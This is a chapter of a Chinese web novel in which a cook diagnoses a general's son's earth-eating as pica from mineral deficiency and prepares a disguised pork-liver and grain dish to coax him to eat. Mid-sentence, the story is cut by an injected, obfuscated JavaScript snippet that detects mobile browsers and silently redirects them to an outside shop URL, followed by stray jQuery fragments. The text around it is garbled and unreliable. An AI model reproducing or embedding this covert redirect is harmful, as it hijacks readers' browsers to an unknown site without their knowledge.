以秦芜的现代经验来看,当然不会觉得他是中了邪。
若猜得不错,这应当是小儿病症里的异食癖,同时还伴随着厌食症。
在前世,这种病症并不算稀罕。多半是因为小儿肚子里生了虫,或是长身体时饮食单一,身子里缺了铁、锌等微量元素,影响了味蕾功能。
身子亏空得狠了,缺铁性贫血会促使孩子吃些不该吃的东西。
而泥土墙皮这些乱七八糟的东西吃进去,填满了肚子,便更影响胃口。
太医们若只将这当成寻常的脾胃衰败来治,一味地开些健脾消食的药,自是南辕北辙。
柏哥儿闻着羹汤犯恶心,连御厨的山珍海味都吃不下,并非存心捣乱,而是生了病。
秦芜正想着,不远处卵石小径上,传来一阵脚步声。
柏哥儿耳朵尖,动作一顿,像只警觉的猫儿般,弓着腰溜得飞快,转眼就没入另一片花丛不见了。
不多时,方才那个领路的丫鬟步履匆匆地寻了过来。
“秦娘子,实在对不住,让你久等了。咱们走吧,奴婢这就送你出府。”
秦芜收回视线,神色如常地点了点头,跟着丫鬟顺着游廊往外走。
可没走多远,她脚步却渐渐慢了。
就这么走了?她不甘心。
七公子这病症,拖得一日重一日,寻常太医看不出门道,再拖下去,好好的孩子都要拖垮了。
若能用食疗把这孩子治好,不仅是积了德,更是个千载难逢的良机。平芜私馔的名号,在京城里便算真正立稳了。
走到二门处的垂花门前,秦芜停下脚步。
小丫鬟愣了愣:“娘子怎么了?”
“劳烦姐姐通融一下,再领我见一次夫人,我有话,要同夫人说。”
丫鬟愣住了,面露难色:“这……夫人正心烦着,娘子这会儿回去,怕是要触霉头。”
秦芜从袖子里摸出半两碎银,不动声色地塞进丫鬟手里,低声道:“好姐姐,你只需替我通传一声,成与不成,绝不连累你。”
丫鬟犹豫片刻,终是点点头,领着她原路折返。
抱厦内,下人们刚把满地狼藉收拾干净。
夫人靠在罗汉床上闭目养神,眼圈还是红的。听见顾丫鬟通报说那厨娘又回来了,她皱了皱眉,却还是让人进来了。
“你还有何事?可是方才账房给的汤药费短缺了?”
秦芜上前行了礼:“夫人误会了,民妇折返,是想厚颜再求一次给七公子做吃食的机会。”
顾夫人叹了口气,摆手道:“难为你一份心意。可你也瞧见了,连御厨的菜他都不看一眼,你又何必白费功夫。”
“夫人,民妇方才思忖良久。七公子的症候,民妇曾在乡野间见过。”
顾夫人拨弄佛珠的手微微一顿,掀开眼皮看向她。
秦芜迎上顾夫人探究的目光,继续道:“乡下有些孩童,长身体时也会突然厌食,见着精细的鱼肉便犯恶心,怎么也喂不进去。乡下的土郎中说,这并非脾胃坏了,而是小儿生长太快,身子里缺乏地气。”
“地气?”顾夫人听得稀奇,太医们满口都是“脾虚气弱”,这“缺地气”的说法,她还是头一回听。
“正是。身子里缺了地气,便受不住精细的大鱼大肉。所以,我想依着土郎中的法子,用些特殊的食材入馔,把亏空的补上,这厌油腻的毛病自然就不药而愈了。”
秦芜没提七公子在吃土,怕说了平添夫人恐慌,不仅不要她,还会请来跳大神的。更可能让七公子更加抵触。
顾夫人将信将疑:“太医都束手无策,你说的这乡野路子,当真有用?”
秦芜道:“夫人,既然太医的药石无效,何不容民妇用食补一试?堵不如疏,民妇愿花两日功夫,去寻几味特殊食材,专为公子制一道补地气的药膳。两日后,民妇将药膳送来。若公子依旧吃不下,秦芜分文不取。对夫人而言,也不过是多试一碟点心的事,绝无妨碍。”
顾夫人默然片刻。
乡下总有些奇巧法子,或许真能歪打正着。这些年她把柏哥儿养得太精细,吃穿用度皆是最好的,反倒没有乡下那些在泥地里摸爬滚打的孩子结实。如今既然太医都没了辙,不如死马当活马医,让她试试。
良久,顾夫人沉沉舒出一口气,“也罢,难为你受了委屈还肯费心。我便许你两日之期。若真能如你所言,让他张嘴吃下东西,将军府定重金酬谢。”
秦芜屈膝又行一礼,“多谢夫人成全。”
出了将军府的大门,秦芜径直往西市走。
治异食癖,最关键是补足体内缺失的铁和锌。而动物肝脏,正是补这两样的天然良药。只是小孩本就挑嘴,动物肝脏那股腥膻的土腥味若是处理不好,柏哥儿怕是闻一口又得掀翻托盘。
况且食补不是吃一顿就能见效的。
她得想个法子,把滋补食材做成他现下最感兴趣的模样,让他在试菜那天吃下去,才好进行后面的食疗。
她先去生肉铺,挑了一副色泽红润、筋膜少的新鲜猪肝。接着去南货行称了些黄豆、熟黑芝麻和去壳的生南瓜子,最后买了两根健脾胃的老秋山药。
猪肝是补铁补血的好物,黄豆和芝麻补锌,而南瓜子则是民间用来驱虫的温和良药。
回到家,秦芜便一头扎进灶房。
这道菜最费心思的是如何把腥膻气重的猪肝,做得让一个挑食的孩子吃不出来。
她将猪肝切成薄片,放入清水中反复揉洗,泡了两个时辰,中途换了几回水,直到血水析干净。接着,切了些生姜和葱白,连同猪肝一起下入冷水锅中煮开。
撇去浮沫后,捞出冲洗干净,再换一锅新水,加葱姜二次煮透。
两次去腥,猪肝原本的怪味便散得差不多了。秦芜将其切成细小的碎丁,倒进没放一滴油的干铁锅里。
她守在风炉前,用微火慢慢翻炒。
这活儿急不得,火稍大些便会发苦。随着水汽一点点被烘出,猪肝丁逐渐缩小,颜色变深,最后变得干瘪焦脆,拿手指轻轻一捻便成了粉。
秦芜将炒干的猪肝倒进石臼,细细捣碾成末,再用细箩筛过。筛出的猪肝粉细腻如沙,透着一股肉香,早没了内脏的腥气。
接着,她把黄豆下锅焙炒出焦香,磨成细粉。黑芝麻和南瓜子也分别焙熟、捣碎。
当褐红的猪肝粉、淡黄的豆面、乌黑的芝麻碎和微绿的南瓜子末按比例混在一处时,颜色和质地便发生了奇妙的变化。
几种粉末交织,呈现出一种暗沉的灰褐色,质地松散粗粝。一眼瞧过去,活脱脱就是一捧干燥的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948190|211036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陈年泥土。
可若是凑近闻,却只有豆面的焦香与干果的脂香,十分勾人食欲。
光有“土”不行,干吃粉末容易呛嗓子,还得有个温软的底子托着。
秦芜把老秋山药上锅蒸得软烂,去皮后用木勺压成细腻的山药泥,里头拌入一点点清甜的红枣泥提味。
到了第三日清晨。
秦芜特意寻了个素净的粗陶小浅钵。
底层铺上厚厚一层温热软糯的山药泥,上头均匀地撒满那层特制的“泥土”,将其完全覆盖。最后,她在中央插上一小株刚掐下来的青芽。
远远看着,这就是一盆刚从庭院里端出来的带土盆景。
秦芜将这“盆景”放进食盒,再次登了将军府的门。
抱厦内,顾夫人正满面愁容地坐在罗汉床上,由着小丫鬟轻轻按揉着额角。
见她进来,顾夫人只微微抬了抬眼,语气里没抱多少指望:“娘子来了。东西备好了?”
“备好了。”秦芜掀开盖子,端出那只粗陶浅钵。
钵里灰褐色的细土松松铺着,中央立着株嫩生生的车前草,活脱脱刚从院角挖来的一盆带土野草。
顾夫人眉头倏地一皱,旁边的嬷嬷都倒吸了口气:“这……这是泥土?娘子这是何意?”
“夫人放心,是用谷物、肝泥和山药做的,专给公子补地气的。特意做得像土些,公子看着眼熟,兴许肯松口尝一口。”
顾夫人将信将疑,使了个眼色。
嬷嬷立刻上前,拿起银匙挑了一点粉末混着底下的山药泥,放进嘴里细细尝了。
半晌才点头:“夫人,确是吃食。有黄豆的焦香,还有山药的甜味,细得很,半点怪味都没有。”
顾夫人这才松了半口气,可看着那“盆土”的模样,还是犯愁:“就算能吃,可柏哥儿之前连雕成龙凤的萝卜和冬瓜,都只尝了一筷子便撂下了,见了这古怪样子,怕是碰都不肯碰。”
秦芜顺势开口:“民妇正有一事想求夫人。公子心思重,最好面子。这吃食模样不像正经席面,若是一屋子人盯着劝,他便是想吃,也怕旁人笑话,定然拧着不肯张嘴。不如一会儿请公子过来,夫人带嬷嬷们暂且退到外间,屋里只留民妇一个人哄哄他。没人看着,他反倒放得开。”
顾夫人迟疑了片刻,但想着太医都没辙,常嬷嬷又试过菜确无大碍,终是点了点头。
当即吩咐嬷嬷:“去,把柏哥儿请过来。就说有新做的点心,让他过来瞧瞧。”
不多时,柏哥儿就被嬷嬷领了进来。
他手里攥着半只木蚂蚱,蔫蔫的没精神。刚跨进门,一眼就瞥见案上那盆“土”,脚步一顿,脸色“唰”地就白了。
他倏地抬眼看向秦芜,眼神里又慌又怒。这人竟然把他吃土的事告诉母亲了?还特意做了盆土来当众揭他的短?
他攥紧了拳头,抿着嘴站在门口,一副随时要跑掉的模样。
顾夫人没察觉儿子的异样,只招了招手:“柏哥儿过来,这是秦娘子做的吃食,你尝尝看。”
柏哥儿没动,只警惕地盯着秦芜。
秦芜不为所动,转头对夫人道:“夫人,你们先往外稍候吧。人多,公子放不开。”
顾夫人点点头,领着嬷嬷、丫鬟都退了出去,还顺手带上了房门。